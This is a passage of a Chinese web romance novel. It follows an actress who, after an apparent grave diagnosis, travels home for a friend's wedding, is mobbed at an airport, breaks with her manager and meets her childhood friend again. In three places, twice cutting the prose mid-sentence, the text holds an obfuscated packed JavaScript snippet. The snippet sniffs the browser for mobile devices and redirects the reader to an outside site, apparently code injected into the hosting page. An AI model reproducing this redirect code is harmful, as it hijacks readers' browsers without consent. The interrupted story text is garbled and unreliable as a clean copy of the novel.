他嗅出点八卦的味道,一把搂住宋时冕的脖子,“这姑娘谁啊?你怎么从来没跟我们提过,女朋友啊?” 宋时冕有些焦躁,“发小。” “哟哟哟,还发小,从来没见过我们宋大校草这死样儿,”陈枫一身酒味,还一个劲儿地往宋时冕身上凑,“是不是喜欢人家,毕竟这种青梅竹马最容易摩擦出点什么来。” “滚。”宋时冕反手就给他后脑勺一巴掌。 陈枫回想起那一巴掌,不停在宋时冕耳边念叨,“是不是那个许伽宁啊,是不是?” 宋时冕被他搞烦了,起身回房间,“早点睡,少熬夜吧你。”说着还抬手装模做样似的扇风,“刚回来就闻到股老人味儿。” 陈枫:“?” 8. 渐近 许伽宁彻夜未眠。 一天不到的时间,她已经接受自己的身体状况,一整夜她都在逛小红书,点开搜索引擎,输入两个字蹦出来的相关词条几乎都是一些治疗方案,许伽宁点击最顶上笔记最多篇的词条。 显示的几乎都是什么“21岁美少女抗癌日记”“癌症四年重生之路”等等,类似这样的标题翻都翻不完。 许伽宁飞速往下滑,直到一条笔记的标题让她刹住车。 ——“癌症晚期放弃治疗,手上现在有十来万,一个人去欧洲玩一个月够吗?” 她点进去,帖子流量一般,评论多于点赞。笔记只附带了一张照片,一盆蔫了吧唧的虎皮兰。灰扑扑的陶盆里,虎皮兰失去往日棱角分明的挺拔,叶片蜷曲萎靡,泛着病态的,蔫蔫地倒伏在花盆外。 配文即标题,后面跟了几个相关的话题。 将近几百条评论,但几乎没有人回答博主的问题,清一色地都在劝博主不要放弃治疗,有讲述身边人成功抗癌的例子,也有医学生现身说法指出现在癌症不是不治之症。 博主还会回复一些比较早的评论,大致内容都差不多,自己已经确定放弃治疗了。他从来没出过国,想去挪威看极光。 唯有置顶的那条评论显示“作者赞过”。 篇幅不长,写评人只字未提关于博主的病情,而是很认真地回答了他的问题。 momo:【完全够,我前年冬天一个人去了北欧,真的超级推荐去,有生之年一定要去一次挪威看极光!这是我当时的路线图,希望能帮到博主!!】 图片是欧洲北部的图片,他手绘出当时的路线,标好次序,还做了简略的攻略图贴在各个国家边上。 博主回复道:【谢谢,很有用!】 心上那块皱巴巴的胶布像是被轻轻揭开一角,许伽宁的手指无意识地剐蹭着手机边缘,磨得指腹泛红,她浑然不知,机械地一遍遍重复。 知道结果的时候,许伽宁很不甘心,如今她终于看清那些不甘心的实质——不是对生的贪恋,而是害怕自己的消失才是潦草人生的浓墨重彩。 既然命运无法抉择,那她便要在生命的最后时刻握紧主动权,让所有人知道,死亡在她的一生中轻如鸿毛。 * 接到程柚视频的时候,许伽宁正研究新买的咖啡机。 “宁宁,你机票定了吗?”程柚笑得灿烂。 许伽宁找了个纸巾盒把手机立起来,照着平板里的视频拣了一把咖啡豆称重,“早就定了,定了提前三天的机票。” “你是不是又瘦了,许伽宁!” 午后的阳光洒进厨房,轻轻飘在许伽宁身上。她长长的头发拢在颈侧用夹子固定住,身上只穿了件粉色的吊带背心,领口很低。光线错落有致,隔着屏幕,她的排骨胸清晰可见。 “你们老板不给你饭吃的吗,我都要替你粉丝心疼你了,好好吃饭知不知道,你这样身体很容易出毛病的。” 许伽宁干笑,“知道了,谢谢这位粉丝的提醒。” “那可不,你的微博超话,这么多年签到我就没断过。” 程柚是许伽宁的初高中同学,两人成绩差得不分伯仲,更让他们学生时代的革命友情显得弥足珍贵。程柚下周五结婚,结婚对象许伽宁也认识,是宋时冕的高中同学蒋昀。 四个人上学的时候就一块儿玩,关系很铁。程柚一直都很喜欢蒋昀,大家都看得出来,蒋昀偏偏是个玩得花的,女朋友换得比衣服都勤,总是有隔壁学校的女生来校门口找他。 后来的事情许伽宁也不清楚,只知道他们考上同一所大学,临近大学毕业才在一起,今年就要结婚了。几个人都是湘江人,程柚和蒋昀毕业后就回了湘江发展,婚礼自然而然也就在湘江办了。 “你经纪人那几天都没给你工作吗?” 许伽宁踮脚去橱柜里找滤纸垫在压紧实的咖啡粉上,回答得含糊,“嗯,最近都挺闲的。” 那天吴曼给许伽宁放完狠话后,就真的不管许伽宁了,后面的活动不管不顾地给她全推掉了。吴曼手底下不是只有许伽宁一个艺人,她现在的重心都放在别人身上,试图让许伽宁有危机感,来主动给自己道歉。 许伽宁乐了,她还想着怎么才能名正言顺地给自己安排个假期。 “鼓捣啥呢,你那边好吵。” 许伽宁趴在岛台上看着咖啡机萃取,转身又去冰箱里拿牛奶和冰块,“刚买的咖啡机,试试好不好用。” 程柚哦了声,“我待会儿发几张照片给你,你帮我挑挑我婚礼做的指甲。” “好啊,那你婚礼准备得怎么样了?有很多需要操办的小细节,你们可别忙漏了。” “放心吧,都专业的婚庆公司呢,现在就差彩排那天的流程了,说到这个,”程柚继续说道,“蒋昀昨晚上还跟宋时冕打电话,宋时冕说最快也只能周四早上到,感觉那天的彩排都不一定赶得上。” 作为从前的□□,许伽宁是伴娘,宋时冕也就自然而然是伴郎了。 “他确实挺忙的,放心,他可是专业的,这种流程走一遍基本就没问题了。”许伽宁宽慰她,婚礼是人生大事,程柚担心是难免的。 “听你这话,你俩终于和好了?” 许伽宁忙活的手顿住,“什么叫和好,我俩本来也没什么事啊。” 程柚噗得笑出声,“也不知道是谁那年千里迢迢打电话跟我吐槽,说什么‘我再也不要和宋时冕玩了’,我怎么知道这只是你们的情趣,还以为你们真不玩了。” 她撇撇嘴,“小时候说的玩笑话,也就你还当真。” “哎呀不管了不管了,你俩要来给我们当伴娘伴郎,这期视频绝对要爆。” 程柚在抖音上是个小有名气的情侣博主。一开始只是想分享她和蒋昀的恋爱日常,发的多了也有了粉丝,不少网友都很磕他们cp,这个账号就渐渐做起来。 粉丝数量不少,平时也会接一些广告,一来二去这也发展成程柚的主业。蒋昀那条求婚视频上半年在平台大火了一把,直接火到但凡有关情感主题的视频,都会有人在评论区cue他们的程度。 “结婚了还想着工作呢。” “难得两个大明星都能来,那不得榨干你们。” 程柚躺在床上嘴都说干巴了,朝外面喊了一声,“蒋昀,我渴了!” 紧接着,电话里远远传来一声回应,“来了!”声音由远及近,“水。打电话呢,谁啊?” “宁宁。” 蒋昀接过电话,跟许伽宁打招呼,“最近忙不,有空帮我去揍一顿宋时冕,那狗东西连他最好的兄弟结婚这么大的事情都不放心上,以后他结婚人也不用到场,找人替一下算了。” 他昨晚真的气坏了,到最后宋时冕说给他包个大红包,他才肯放过这狗。 咖啡萃取好,浓郁的烘焙香气裹挟着热气扑面而来,琥珀色的液体如丝绸般浮在牛奶上。她喝什么都急,仰头灌了一口,苦涩与醇香在舌尖化开,她对蒋昀说的话表示极其赞同,“已经开始同情那姑娘了。” 挂了电话,许伽宁靠在厨房的岛台边晃着杯子里快融掉的冰块。不知怎的,她忽然想起那个下午被宋时冕喂给发财树的那杯咖啡。她把手里的咖啡放在咖啡机边上,点开相机拍了张照片发给宋时冕。 许伽宁:【好喝。】 那边回得很快:【慢慢喝,别烫着。】 光是看文字,许伽宁已经能想象到此刻他脸上肯定挂着奸笑。 宋时冕向来睚眦必报,吃不了一点亏。事后第二天他就拉着许伽宁,高高兴兴给人买了一袋橘子。他贴心地给人把橘子一瓣一瓣剥好,许伽宁还纳闷这人平日里懒成精,金贵得能躺绝不坐着,能这么好心? 可惜当时年少无知的许伽宁以为,他是因为昨天在爸爸面前冤枉她的事情忏悔,特地买了橘子赔礼道歉。她乐呵抓了一小把塞进嘴里,橘瓣在齿间爆开,酸汁迅速在口腔蔓延开,许伽宁被酸得挤眉弄眼,在沙发上打滚,最后直到两个人都把对方嘴里塞满橘子才肯善罢甘休。 许伽宁:【见过心眼小的,没见过像你心眼这么小的。】 那边没了动静,许伽宁以为他应该是尴尬得不知道回什么了,终于在嘴上赢过这人一回了。刚准备摁灭手机,两人的聊天框忙不迭震了一下。 宋时冕:【对嘛,所以你更要好好珍惜。】 * 周日晚上,桦水丰庭。 许伽宁和飘飘在收拾回湘江的行李,飘飘一直都说想去湘江玩,许伽宁就把她一块儿带了去。 因为是不公开的私人行程,怕影响到其他乘客,许伽宁特地避开高峰期,选了早上六点的航班。 “这两套衣服都要吗?我觉得这两套都差不多。”许伽宁眼见着两个28寸的箱子都要装不下了,拎起两个装着差不多款式衣服的打包袋,“咱们就去一个星期。” “不一样!这件是去逛夜市逛的,这件是代言,”飘飘拿走许伽宁手里的打包袋,“反正姐你别管了,信我就行,到时候我给你拍照,你微博都好久不营业了。” 飘飘大学是摄影专业,毕业后找不着合适的工作,机缘巧合下来给许伽宁当了助理。许伽宁工作室的微博账号现在也是她在管,日常照片基本上都是出自飘飘之手。 “辛苦咱大摄影师了,这趟绝对带你玩痛快了。”许伽宁盘腿坐在边上托腮,拿着茶几上落灰的遥控器找个电视放着,她做事就喜欢有点动静,什么都行。 “挑挑,”飘飘从衣帽间把许伽宁放配饰的抽屉直接全端到客厅里,“你也在看这个综艺吗?” 许伽宁拣了枚戒指戴在手上,“我看名字挺有意思的。”许伽宁这些年“深耕”剧组,对国内综艺不太了解,参加得也少。 “这个综艺特别好看,每一季我都有在追。” “具体讲什么的?” “一群明星去旅游。” 飘飘说的是奇星视频自制的旅游综艺《地平线旅行社》。这是一档老牌综艺,目前已经拍到第七季。每一季都会邀请不同年龄、性格的明星作为嘉宾组成旅行社,以自助旅行的方式完成跨国跨区域的挑战,经费有限、行程自主,为大家展现浩大世界。同时,嘉宾之间的互动和摩擦也是这个节目的最大看点之一。 许伽宁看的是最新一季,第一站他们去的是南非开普敦,光是片头许伽宁就已经看进去了。 它形容这座非洲最南端的城市,是一座被铁链锁住的天堂。桌山如巨大的天然屏障,以平坦的山顶托起一片天空,好望角惊涛拍岸,维多利亚港湾波光粼粼,彩色房屋错落有致,不同肤色的人们欢声笑语。 "我还从来都不知道非洲会有这么美的地方,"许伽宁若有所思,“所有简单来说,这个节目就是公费旅游?” “是啊。” “我有可能参加这个节目吗?”许伽宁有些心动,公费旅游,节目组还会安排行程和活动,绝对比自己去玩有意思。 飘飘面露难色,“那我就不知道了,这个节目国民度很高,每季嘉宾都不一样,基本上都是节目组自发邀请,没有自荐这一说法。” “而且我觉得这个节目组很会挑人,你记不记得去年年初柳清清直播事故那次,你现在看得这一季就有她。” 柳清清是网红出身,自带粉丝,后来转型做了小演员,但最有意思的还是她的直播。她深谙互联网那一套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669690|173098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,每次的直播都很有新意,总能跟上当下的网络热梗。结果在去年直播的时候,她的助理突然冲进直播间控诉她苛待、pua员工,工资少得可怜等等,那天她的直播间热度突破了平台记录。 这事看似只是一场直播事故,可那段时间一众引发了打工族在网络上,后来她发微博澄清,是助理的自导自演,这事情也就过去了。 第二周,新的一季《地平线旅行社》就官宣了她是嘉宾之一。而且这一季柳清清确实有很多看点,她本身就幽默有梗,再加之她说话圆滑,在节目上的谈心环节面对刁难的问题,都化解得游刃有余,堪称教科书式的高情商回答。 许伽宁听得一愣一愣的,见自己刚才的想法估计是没希望,这个话题也就揭过去了。 周一早上的机场死气沉沉,许伽宁卡点赶上值机。她穿的还是睡觉时穿的背心,外面套了件雪纺衬衫,配了条冰丝裤,重新染回冷栗色的长发被松松垮垮地盘成丸子,这是许伽宁最喜欢也最舒服的穿搭。 他们登机口离得很远,关键首都的机场还大得离谱。一路上许伽宁脚底都要摩出火星子,一边匆忙赶路一边注意手机,“今天早上闹钟响了吗?我怎么一点都没听到。” 飘飘摇摇头。 两个人昨天收拾到很晚,早上还是飘飘先从睡梦惊醒,才摇醒的许伽宁。 “快快快,再晚点马上就要广播了。”要是广播响起来,被人认出来更赶不上。 许伽宁这嘴绝对开过光,话还没落地,机场上方的广播响起。 “各位旅客请注意!乘坐东珠航空MF3480次航班前往湘江的许伽宁女士,请您尽快携带登机牌及随身物品,前往137号登机口。飞机即将关闭舱门,感谢您的配合!” “为什么只报我的名字啊啊啊!” 距离飞机起飞还剩分钟,催得本来在快走的许伽宁这会儿已经跑出高中八百米的架势,偏偏路上一辆摆渡车都没见着。飘飘体力跟不上,已经哼哧哼哧起来,许伽宁把口罩拉到下巴,一把抓起她的胳膊埋头就是冲。 可怕的广播响了整整五遍,本来没听清的人这会儿也把许伽宁的大名听得一清二楚。人群渐渐嘈杂起来,有的人已经开始转着脑袋像是找什么似的。 显得此刻在机场风驰电掣的某人特别扎眼。 “许伽宁!!”一道尖锐的女声响起,许伽宁下意识回头。 完了! 撤回转头的动作已经来不及。 “许伽宁,那是许伽宁欸……” 霎那间,人群如潮水般涌上来,许伽宁瞬间被包围起来,里三层外三层。 救命。 她重新带好口罩。 像是触发了什么按钮,许伽宁一抬头,数十个手机摄像头对准她,有些几乎快要怼她脸上,混着香水与汗味的热浪袭来。 此起彼伏的力道来回撞击她的肩膀,身上的衬衫外套挤得皱巴巴的,甚至她感觉自己的后背也被人紧贴着。站在后排的人拍不到她,便把手都举起来,仿佛海底的章鱼触手般朝许伽宁扑来,连路都看不清。 寸步难行。 平时的工作行程,公司都会给安排保镖在机场,今天在场的只有小桃,小桃双手半围着圈圈住许伽宁,尽可能避免他们碰到许伽宁。 但飘飘一米六出头的个子,也没多大力气,被人群一路推搡,好几次差点摔倒,幸亏许伽宁扶住她。即便这样,她也只能扯着嗓子喊道,“大家不要拥挤,今天是许伽宁的私人行程,请大家给艺人多一点私人空间!” 现场很吵,根本无人在意。 有人故意扯着嗓子喊她的名字,争着要签名要合照,还有人不停地问她要去哪,去干什么。 几分钟的时间,围观的人越来越多,机场也被堵得水泄不通。机场的安保人员见状,想冲进去保护许伽宁都挤不进人墙,便站在边上扯嗓子维持秩序,除此之外能做的只有干瞪眼。 这要是换作从前,许伽宁或许会笑着甜甜地和大家说不要拥挤,爱你们等这种没用却能维持她温柔女神人设的话,可今天她是怎么样都说不出来。 许伽宁皱眉,低头双手环胸,等脚前面的地面让出来才能迈开步子。 心口堵着一口气,想发又发不出来。 窒息。 在嘈杂的缝隙中,她们的斜侧方进来一只又胖又黑的手,直直向背朝着人群的飘飘伸去。许伽宁目光敏锐,立马伸手打掉那只手。 “你干什么!”许伽宁再也憋不住了,指着那人声音都发着狠,“你刚刚手在干什么?” “拍够了没有?”许伽宁气不打一处来,他们这一行人已经严重影响到周围的路人,她索性破罐子破摔,“听得到我说话吗,我说能不能别拍了?!出了事你们负得了责吗?”说完,她直接用手推掉贴在她脸边的摄像头。 那男子被许伽宁的行为激怒,场面乱糟糟的,见没人替许伽宁说话便硬气起来,朝她吼道,“装什么装,你们明星不就是被我们拍吗?果然跟网上说的一样,过气了想各种办法蹭热度,装货!” 许伽宁把飘飘拉到身边,然后直直想往那人身上冲,“你再说一遍试试!”她小时候学过柔道,看这男的体型,撂倒他绝对没问题。 飘飘见状,吓得心惊胆战,她死死扣住许伽宁的胳膊,在她耳边念叨,“不要不要,千万不能动手!我们飞机快赶不上了,走吧走吧。” 许伽宁方才上头的情绪被拉回头,人群中也有不少真粉丝,从未见过许伽宁这副模样,怯怯说道,“让姐姐先赶飞机吧。”有第一个人说就会有第二个人,说完还往两边走让出一条道让许伽宁离开。 好在紧赶慢赶,许伽宁终于踩着点登机。 9. 渐近 网络全覆盖的时代,信息传递迅速。 刚落地湘江关闭飞行模式,手机就不停推送微博消息。 “‘许伽宁人设崩塌’‘许伽宁机场发疯打人’?”许伽宁看着热搜词条嘴角抽动。 “当时我就应该揍他的。” 早知道动不动手结果都一样,她一定给那人见识一下她的身手。 吴曼的电话打到飘飘这,点名要许伽宁接电话,“知不知道你三个小时前大闹机场的视频冲到热搜第一了。” 许伽宁坐在VIP休息室,低头把玩着食指上的戒指,她在飞机上就猜到落地后吴曼会来兴师问罪。 “知道啊,我上热搜了,你不高兴吗?”声音懒洋洋的,尾音上挑,话语中的挑衅意味盖都盖不住。 “知名小花机场发疯打人,多年维持的女神人设一朝崩塌。” “昔日完美女神竟公然殴打粉丝,如今的偶像到底值不值得粉丝喜欢?” “心寒!多年支持换来暴力对待,女爱豆机场打人实锤,有图有真相。” 吴曼慢吞吞地念着营销号写的标题,电话那头的许伽宁没什么反应,只听得见她的轻哂。 吴曼也发现许伽宁最近的变化,之前这种情况许伽宁只有忍气吞声听自己发牢骚的份儿,上次晚上许伽宁发疯那事她权当是她深更半夜喝多了。 可今天她这股傲慢顶嘴的气势,是吴曼从来没见过的。 “许伽宁,你是真的不想干这一行了吗?什么事能干,什么事不能干还用我来教你?我不给你安排事,你还能自己找事,能耐了啊你。” 吴曼早就不想带许伽宁了。 她本人性格强势,为达目的不择手段,在工作方面一直都很自负。 现在的影后范泓雨就是她一手带出来的,只不过后来范泓雨“跳槽”去了别的公司,对此吴曼一直耿耿于怀,导致她在许伽宁身上,花的更多的是控制。 她希望许伽宁能从头到尾按照她的安排来,可许伽宁看上去懦弱,但总会暗地里和她较劲儿叛逆,成天说要跳舞唱歌,现在内娱能出人头地的都是靠演戏,偏偏许伽宁演技稀烂。 这在她眼里,跟那些扶不上墙的烂泥毫无区别。 无非是从前风光大好过,可现在这般泯然众人却只会更加让人觉得唏嘘和好笑,所以渐渐也对她放任不管了。 她手底下还有个和许伽宁同类型的小花,最近一直可有意不给许伽宁安排通告,就是为了带她出来多露脸,想在大众面前混个脸熟,现在许伽宁这事一闹,注意力完全被她带走不说,澄清起来又很麻烦。 许伽宁:“曼曼姐什么时候用闲工夫教我这些了?” 她不是傻子,吴曼对她的态度她都看在眼里,心里门儿清,以前是怕吴曼给她穿小鞋,变相雪藏她,现在她毫无畏惧,只恨过去那个无限容忍退让的自己。 手机开着免提,飘飘听了全过程,眼见着两人之间的气氛愈发不对劲,她说,“曼曼姐,今天这事真的不是网上说的那样,伽宁姐都是为了——” 吴曼根本没有耐心听,直接打断,“你以为我真的在乎真相,我只要解决方案。” 假如说从前的许伽宁是个暖壶,能把所有接收到的负面情绪统统存起来保温回味,那她现在一定就是个劣质塑料壶,只要一碰到热水开水就开始呲呲释放有毒物质。 她在一旁听得窝火,夺过手机,“如果这种事情需要我来给解决方案,那你这个经纪人的作用是什么?” “我看你也不用当我的经纪人了,你要是真的想捧那个冒牌货就去,不需要抽时间来假惺惺应付我,就这样,再也不见。” “你——”同样地,许伽宁没等吴曼说完,直接挂断。 飘飘吃惊,她从来没见过许伽宁这样,记忆里许伽宁总是一副逆来顺受的样子,有些时候她都替许伽宁抱不平,许伽宁却能冷静地宽慰她说没事。 许伽宁见她一脸错愕,伸手搂着她脖子,笑得坦荡,“别担心,我没事。她不管咱就不管呗,这窝囊气我早就不想忍了。走,姐带你畅游湘江。” * 程柚提前叫了车来接许伽宁。许父许母都是看微博的人,许伽宁没敢回家去了程柚家躲清闲。 闺蜜俩像是几十年没见过一样,拉着飘飘三个人彻夜畅谈。 客厅里没开灯,点了几盏香薰蜡烛,拿了一打啤酒,点了不少当地特色的外卖。 许久未见却依旧有话聊。 他们从小学聊到工作,从隔壁家的大黄狗生了一窝小黑狗聊到圈子里的八卦绯闻。 “真的假的,季憬之私底下玩这么花?”程柚惊呆下巴,大学那阵子她被季憬之迷得神魂颠倒,晚上的做梦对象都是他。 许伽宁点点头,专心致志地剥着口味虾,“所以啊,这追星就当一乐呵,我保不齐哪天都会塌。”想了想,又纠正道,“不对,我今天就塌了。” 飘飘:“姐,今天这事真不怪你。” “没事,”许伽宁将剥好的口味虾喂给飘飘,“来湘江,一定要尝尝咱湘江的口味虾,你在别的地儿吃不到的。” 程柚刚刚也听许伽宁讲了事情原委,“你那经纪人也真是的,不想干趁早的。不过这事你也别太担心了,就按照现在互联网的速度,不出三天,你这事就过去了。” 许伽宁这个人陷在懒人沙发里,手一摊,“我巴不得它能在热搜上挂个十天半个月。” 程柚给飘飘拿了一把串,“你姐真被逼疯了?”她看着平日里最担心自己负面新闻的人,这会儿毫无形象地嘬着手指。 飘飘摇摇头,“不知道受什么刺激,突然就这样了。” 两人觑着许伽宁。 “你们这是什么反应,我幡然醒悟不是好事吗?”后者不以为然,擦干净手灌了口冰镇啤酒,“而且,你们看我像担心的样子吗。” “那你来我家干嘛?” 许伽宁腾不出来手,拿脚趾头捏了个抱枕甩过去,“好啊程柚,现在来你家都要理由,合着我打扰你们的二人世界了。” “不爱可以直说。” “我今天都破例蒋昀去找朋友网吧通宵了,你还说我不爱你。”程柚把砸来的抱枕又砸回去,酸了吧唧地,“是是是,我知道,我怎么着都没你们家时冕哥哥好。” 许伽宁皱眉,“提他干嘛,人还没到的家伙,不配在我们的聊天里拥有姓名。” 飘飘满脸疑惑,时冕哥哥? 程柚兴奋起来,凑到飘飘边上,“不知道了吧,许伽宁和宋时冕是青梅竹马哦~” 许伽宁从来没跟身边人透露过跟宋时冕是老相识,飘飘也按捺不住,“青梅竹马?” 光是这四个字,就已经让人想入非非,更别说这是两个帅男靓女。 程柚:“是哦,我都不敢想象,要是大家知道这两人的关系,得有多少人磕他们cp,我小时候就写过他俩的同人文。” 在当初那个还没有“磕cp”这种说法的时候,程柚就已经是许伽宁和宋时冕最大的粉头子。 “少瞎磕点有的没的,小心给你牙磕坏了。” 程柚没理许伽宁,拿手里的酒碰了碰飘飘的,“宋时冕那种大帅逼天天在学校对谁都爱答不理,拽得要死,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不过真的不敢想象,和宋时冕这样的冷脸帅哥谈恋爱会有多幸福。每天早上起床两眼一睁就是一张帅到窒息的脸,接吻的时候根本舍不得闭眼睛的好吗。”这周五就要结婚的程柚忍不住开始犯花痴。 许伽宁:“蒋昀知道他老婆对他兄弟有这种想法吗?” “拜托,对帅哥有想法是人之常情好吧。所以,我是真佩服你,在他身边十几年居然能不起贼心。”程柚说,“不过话又说回来了,咱家姑娘这么优秀,什么帅哥找不着,兔子还不吃窝边草呢。” 程柚凑过去捧着许伽宁的脸,眯着眼睛细细端详,素颜朝天也依旧美得不像话,“不过我更好奇,你长得跟个仙女儿似的,宋时冕就从来没对你心动过?” 随后又煞有介事地摇摇头,“我要是个男的,高低得暗恋你个十年。” 好话歹话都让程柚给说了,许伽宁这会儿只在意程柚摸自己脸的手有没有油。 飘飘抿了口酒,默默说道,“他们认识这么多年,要在一起早在一起了。” 许伽宁挣脱开程柚,“点了,很难不赞同。你现在对我们还抱有幻想,无非就是因为我还单身,你等着吧,下次给你带一个回来。” 话说得潇洒,许伽宁却是认真的。 活了二十五年,前十七年身边有个宋时冕这样的帅哥,眼光被拉太高,看不上学校里那些歪瓜裂枣,后八年因为工作性质,完全没有时间也没有条件谈恋爱。 说实话,她还真想试试。 哪怕直接进行最后一步都可以啊。 10. 渐近 周二是个平安夜。 “许伽宁大闹机场”仍然在网上发酵,粉丝说是恶意剪辑,黑粉说人设崩塌,路人各种求细节。 当事人倒是毫不在意,拉着程柚、蒋昀、飘飘打了一天麻将,赚得盆满钵满,三人怨气冲天,差点掀翻程柚的新房。 周三早上,一条微博冲上热搜前三。 昨天差点被许伽宁揍的咸猪手男发微博,指控许伽宁各种不尊重粉丝的行为。说自己是许伽宁的老粉,从出道就喜欢了,没想到她私底下是个傲慢耍大牌的。 太心寒了。 光看文字都能感觉到他的破防,更别说他还展示一张胳膊上像是被不求人重伤的抓痕,那叫一个触目惊心。 一时之间,本来还振振有词的粉丝都不敢吱声,只求正主现身说法,黑粉路人更加猖狂,直接在那条微博艾特许伽宁,什么难听话都有,恨不得把许伽宁九族给问候一遍。 “这人也太恶心了,睁眼说瞎话!” 飘飘在屋子里急得乱转,程柚去联系接亲车队和摄影团队,这会儿也不停给她弹消息。 当时人挤人,连呼吸的缝隙都没有,那人动作小心偷偷摸摸,大家的注意力又都在许伽宁身上,网上传的各个角度都没拍到这人的行径。倒是给他钻了空子,反咬许伽宁一口。 照现在这个趋势,许伽宁百口莫辩。 飘飘看向化妆镜前的人,正不急不慢地画眼线,她抓耳挠腮,“你不着急吗姐,现在曼姐和公司都不想管我们,难不成就这么被这人欺负造谣吗?” “我怎么可能白挨他这一顿。” 许伽宁离远了看两边对不对称,“飘啊,你帮我画一下吧,我这边画得好奇怪。”她闭眼凑到飘飘面前给她看。 “你居然还有心思化妆,现在怎么办啊。” 话是这么说,但她像是肌肉记忆一样接过眼线笔,画到一半又顿住,“要不我发微博澄清吧,只要我说明当时的真实情况,至少会有人信,不会像现在这样都来骂我们。” 许伽宁眯着那双狐狸眼,眼周的亮片折射出冷光,衬得眼睛澄澈,脸上是藏不住的狡黠,“不用,我有办法。” 自己是公众人物,被他们讨论尚且还说得过去,要是把飘飘掺和进来,事情更复杂不说,还会让她也陷入舆论之中,这事日后还可能会被拿出来反复讨论,说她们利用女性身份卖惨洗白。 她不知道这小小的屏幕背后藏着什么牛鬼蛇神,更不知道他们会敲出什么可怕的话。她不是圣母,也不再是理想主义者,没法用善意揣度这些没有沉没成本的“审判者”。 把自己包装成无辜粉丝,拿粉丝最敏感最在意的话题引起共鸣和众怒,利用性别议题倒打一耙。 既然这人敢出来造谣,自以为是地拿捏她的痛处,那她就要告诉他,你想多了。 许伽宁挑了支正红色,整个人精神抖擞,说她刚中了一千万都有人信。 她让飘飘给她录了视频,飘飘不明所以但也照做。 …… 10:34,许伽宁那快落灰的、像广告招租位的微博更新了一条活人感十足的视频。 画面里,她坐得板正,黑发红唇,气血饱满,丝毫不像是这两天话题漩涡中心的人。 “大家好,我是许伽宁,谢谢大家这两天对我关注和讨论,不过这些声音确实影响到我的心情了,又没人替我递律师函,我只好自己来说了。” “首先呢,占用公共资源我很抱歉,但对于那天的行为我不会道歉,我不认为我错了,具体原因就算我不说,那位先生也应该心知肚明。” “不少人只是看到事情的一部分就急着骂我,有些事情越解释越被动,我无话可说也懒得解释,不过呢,还是劝他们以后先弄清事情的原委,再去站在道德制高点去当判官。” “最后,”许伽宁稍顿,“特别警告一下某位先生,别让我再碰到你,否则——” 她突然笑了一下,一字一顿,“我、见、你、一、次、打、你、一、次。” * 在程柚家赖了两天,白天剩余的时间程柚带着飘飘出去玩。傍晚,许伽宁乖乖回了家。 许伽宁家在老城区青石区,与程柚新房所在的新城区完全两个面貌。 前年政府下令要翻新老小区,老破小的居民楼外墙一律重新刷漆,楼梯间也多加了一道扶梯给老年人。 八月湘江多雨潮热,上午还是烈日高悬,这会儿头顶阴云密集,仿若一座天然蒸笼,热浪裹挟着空气中的水分子,每一次呼吸都糅杂着黏腻。 这一片人虽少路窄车不好进,她让司机停在巷口,自己走回去。 拐进熟悉的街巷,许伽宁走在不久前才晒干的水泥路上,时不时还能碰见一串小猫或小狗的爪印。 跟开盲盒儿似的。 这两年游客剧增,街道两边的自住房很多改成了店面,不少大爷大妈坐在挂着精致招牌的咖啡店、古着店门口摇蒲扇,那画面堪比慈禧穿匡威。 出了街巷,要沿着石扶梯走一段下坡路,经过一片矮红房,再上两大段青石台阶才到许伽宁家。 翻新计划还未推到这一片,这里还保留着湘江老城的独特面貌。 矮屋窄巷,麻石小径,低悬的电线和自挂的晾衣绳错综复杂,晾满衣服,空调外机轰隆作响都快要盖过雨声。 路上零零散散的塑料凳和小桌子,随意停放的电车和自行车,抬头就是长势惊人的青葱树木,居民楼缝隙里露出的一角昏暗的天空。 再次踏上这条走过无数次的路,记忆如水滴般从拧不紧的水龙头里落下,拦都拦不住。 小小的姑娘穿过一条条街巷,耳边满是杂碎的摊贩吆喝声,到了红房群又是街坊邻里的麻将声,饭菜香一路传到巷尾,谁家晚饭做的什么心知肚知。 她兀然发现,嫌弃了一整个童年的灰瓦白墙,在多年后竟成了心底最亮的灯塔。 铅灰色的云层沉沉压下,闷热的空气像块湿毛巾糊在脸上,蝉声戛然而止,还没等人反应过来,雨就突然落下。 雨势来得又急又猛,转眼便连成一片。 许伽宁不由得加快脚步。 不远处那家“卞记杂货铺”亮着灯,铁皮雨棚被雨打得噼啪作响。 许伽宁三步并作两步冲进雨棚,险些撞散店面门口摞得比人高的啤酒筐。 屋内开着冷气,玻璃门上蒙着层雾气,隐约可见店内货架上挤挤挨挨的油盐酱醋。 她擦了擦身上的水,抬头,看着屋檐边垂下的雨线,自认倒霉。 程柚先前还发信息提醒她,今天有雨要记得带伞,还是忘了,好在行李都没带回来。 夏天天黑得晚,但下雨的缘故天愈发阴沉。她抬起手机,屏幕亮起荧光,时间显示18:59。 雨一时半会儿停不下来,好在再拐一个弯就到家了。 许伽宁收好手机卷起裤脚,将随身的包顶在头上,深吸一口气便要冲进雨幕。 突然脊背窜起细密的凉意——身后的玻璃门打开,屋内的冷气漫过后颈,像一捧碎冰猛地贴上后背。 她下意识瑟缩了一下。 下一秒,腰侧被像是金属质感的物件勾住,力道猝不及防,失重感骤然袭来,她踉跄着向后仰去,撞进一个结实的怀抱。 “你这什么坏毛病,尽往雨里扎。”头顶响起一道漫不经心的声音,像是拍碎的薄荷叶,干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 